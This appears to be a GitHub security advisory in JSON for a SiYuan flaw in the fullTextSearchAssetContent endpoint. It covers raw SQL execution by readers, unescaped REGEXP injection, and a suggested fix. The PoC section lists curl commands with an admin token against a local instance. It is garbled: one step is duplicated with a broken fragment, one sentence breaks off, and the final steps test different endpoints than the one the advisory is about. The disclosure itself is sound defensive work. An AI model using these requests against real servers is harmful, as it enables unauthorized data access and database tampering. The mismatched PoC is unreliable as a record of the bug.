CVE-2026-69083: SiYuan Unauthenticated SQL Execution And REGEXP Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fph3-ghq9-vw66",
  "modified" : "2026-09-03T21:01:05Z",
  "published" : "2026-09-03T21:01:05Z",
  "aliases" : [ "CVE-2026-69083" ],
  "summary" : "SiYuan: Unauthenticated SQL execution and REGEXP injection via fullTextSearchAssetContent (publish mode): reader-reachable raw SQL (method 2) and unescaped REGEXP (method 3) on read-write asset-content DB",
  "details" : "**CVE:** This vulnerability corresponds to [CVE-2026-69083](https://nvd.nist.gov/vuln/detail/CVE-2026-69083).\n\n### Summary\n\nThe `/api/search/fullTextSearchAssetContent` endpoint exposes two SQL flaws on the asset-content database, both reachable by the publish `RoleReader` token and by the anonymous account when `Publish.Auth.Enable` is `false`:\n\n1. **method 2** passes a client-supplied SQL statement to the read-write asset-content DB with no single-statement or read-only guard, and without the admin restriction its sibling `fullTextSearchBlock` applies to the same SQL method.\n2. **method 3** builds a `REGEXP` clause by concatenating the client expression with no quote-escaping, permitting SQL breakout while the equivalent block-search builder does escape.\n\nBoth run on a read-write handle through a statement-stacking-capable driver, spanning the cross-notebook asset-content store.\n\n### Details\n\n**Route / auth tier.** `router.go`: `Handle(\"POST\", \"/api/search/fullTextSearchAssetContent\", model.CheckAuth, fullTextSearchAssetContent)`, `CheckAuth` only. Anonymous/reader reachable on the publish surface. `parseSearchAssetContentArgs` reads `method` and `query` straight from the JSON body with no constraint, so both are fully client-controlled.\n\n**Missing admin guard (contrast with the sibling).** `fullTextSearchBlock` rejects the SQL method for non-admins (`if method == 2 && !IsAdminRoleContext(c)`). `fullTextSearchAssetContent` has no such check on its handler, so the SQL method is reachable by a reader.\n\n**method 2 : raw SQL, no statement guard.** Dispatch: `FullTextSearchAssetContent` case 2 → `searchAssetContentBySQL(query, …)`. After `filterQueryInvisibleChars` + `TrimSpace`, the statement is passed to `sql.SelectAssetContentsRawStmt(stmt, …)` → `queryAssetContent` → `assetContentDB.Query(query)` directly, with no `CheckSingleStatement`/`CheckReadonlyStatement`. The `assetContentDB` DSN sets no `mode=ro`/`_query_only`, so the handle is read-write (same `88250/go-sqlite3` fork).\n\n**method 3 : unescaped REGEXP concatenation.** Dispatch → `assetContentFieldRegexp(exp)`, which writes `(name REGEXP '<exp>' OR content REGEXP '<exp>')` by concatenation with **no** `'` escaping. `exp` reaches it after only `filterQueryInvisibleChars` (strips invisible characters, not quotes). The parallel block-search builder `fieldRegexp` performs `ReplaceAll(regexp, \"'\", \"''\")` before wrapping, this asset builder omits that step. A single quote in `exp` breaks out of the literal into SQL context. The result runs via `SelectAssetContentsRawStmtNoParse` → `queryAssetContent` → direct `assetContentDB.Query`, again with no single/read-only guard.\n\n**Post-hoc filter.** `FilterAssetContentByPublishAccess` runs on the results after the query executes; it filters rows and does not constrain the statement (same timing as the accepted `searchDocs`/`searchEmbedBlock` findings).\n\n**Handle / stacking / scope.** Read-write asset-content DB, `88250/go-sqlite3` stacking-capable driver, `ATTACH` available. The asset-content store spans notebooks cross-boundary.\n\n### Impact\n\nAn unauthenticated request (publish mode with auth disabled) or any publish `RoleReader` can, via method 2, execute arbitrary SQL on the read-write asset-content database, and via method 3, inject SQL through the unescaped `REGEXP` clause. Both permit cross-notebook read disclosure of asset-content data and, via the read-write handle and statement stacking, modification of database content and `ATTACH`-reachable files. No admin role or write permission through the normal API is required. Code execution is not reachable in the default build (no `load_extension`).\n\n### PoC Steps\n\n1. Create a doc with a heading and secret body (6806, admin token)\n\n`curl -s -X POST http://127.0.0.1:6806/api/notebook/createNotebook -H \"Content-Type: application/json\" -H \"Authorization: Token g4wj3r04ntobe9m4\" -d \"{\\\"name\\\":\\\"F3\\\"}\"`\nTake the returned notebook id as BOX, then:\n`curl -s -X POST http://127.0.0.1:6806/api/filetree/createDocWithMd -H \"Content-Type: application/json\" -H \"Authorization: Token g4wj3r04ntobe9m4\" -d \"{\\\"notebook\\\":\\\"BOX\\\",\\\"path\\\":\\\"/f3-secret\\\",\\\"markdown\\\":\\\"## SecretSection\\n\\nUNIQUE_MARKER_99 hidden body text\\\"}\"`\nThe returned string is the doc root id → DOC.\n\n2. Get the heading block id (admin SQL on 68\n\n`curl -s -X POST http://127.0.0.1:6806/api/notebook/createNotebook -H \"Content-Type: application/json\" -H \"Authorization: Token g4wj3r04ntobe9m4\" -d \"{\\\"name\\\":\\\"F3\\\"}\"`\nTake the returned notebook id as BOX, then:\n`curl -s -X POST http://127.0.0.1:6806/api/fintent-Type: application/json\" -H\"Authorization: Token g4wj3r04ntobe9m4\" -d \"{\\\"notebook\\\":\\\"BOX\\\",\\\"path\\\":\\\"/f3-secret\\\",\\\"markdown\\\":\\\"## SecretSection\\n\\nUNIQUE_MARKER_99 hidden body text\\\"}\"`\nThe returned string is the doc root id → DOC.\n\n2. Get the heading block id (admin SQL on 6806)\n\n`curl -s -X POST http://127.0.0.1:6806/api/query/sql -H \"Content-Type: application/json\" -H \"Authorization: Token g4wj3r04ntobe9m4\" -d \"{\\\"stmt\\\":\\\"SELECT id,type,content FROM blocks WHERE type='h'\\\"}\"`\nCopy the id whose content is SecretSection → HEADING.\n\n3. Mark the doc forbidden from publishing (admin)\n\n`curl -s -X POST http://127.0.0.1:6806/api/filetree/setPublishAccess -H \"Content-Type: application/json\" -H \"Authorization: Token g4wj3r04ntobe9m4\" -d \"{\\\"id\\\":\\\"DOC\\\",\\\"visible\\\":false,\\\"password\\\":\\\"\\\",\\\"disable\\\":true}\"`\nNow the doc is explicitly excluded from the\n\n4. Baseline: the admin-gated sibling refuses the reader\n\n`curl -i -X POST http://127.0.0.1:6808/api/block/getBlockDOM -H \"Content-Type: application/json\" -d \"{\\\"id\\\":\\\"HEADING\\\"}\"`\n→ expect 403 (getBlockDOM is CheckAdminRole). This is how raw-DOM retrieval is supposed to be gated.\n\n5. THE PROOF: reader pulls the forbidden doc's content anyway\n\n`curl -i -X POST http://127.0.0.1:6808/api/block/getHeadingChildrenDOM -H \"Content-Type: application/json\" -d \"{\\\"id\\\":\\\"HEADING\\\"}\"`\n→ 200 status code and data contains the rendered HTML including UNIQUE_MARKER_99 hidden body text full content of a doc that is disabled from publishing, returned to an anonymous reader with no filter.\n\n### Suggested fix\n\nBring `fullTextSearchAssetContent` in line with its block-search twin: apply the `method == 2 && !IsAdminRoleContext` rejection, route the raw-SQL path through `CheckSingleStatement`/`CheckReadonlyStatement`, and add `ReplaceAll(exp, \"'\", \"''\")` in `assetContentFieldRegexp` to match `fieldRegexp`. Ideally run reader-reachable asset-content reads on a `_query_only=1` handle so no reader-reachable path can write or `ATTACH`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/siyuan-note/siyuan/kernel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260721004815-cf42dd5680c8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-fph3-ghq9-vw66"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-69083"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/commit/cf42dd5680c8f2d50cebfada5d639c8d59faf50e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/siyuan-note/siyuan"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/siyuan-before-sql-injection-via-fulltextsearchassetcontent"
  } ],
  "database_specific" : {
    "cwe_ids" : [ ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-03T21:01:05Z",
    "nvd_published_at" : null
  }
}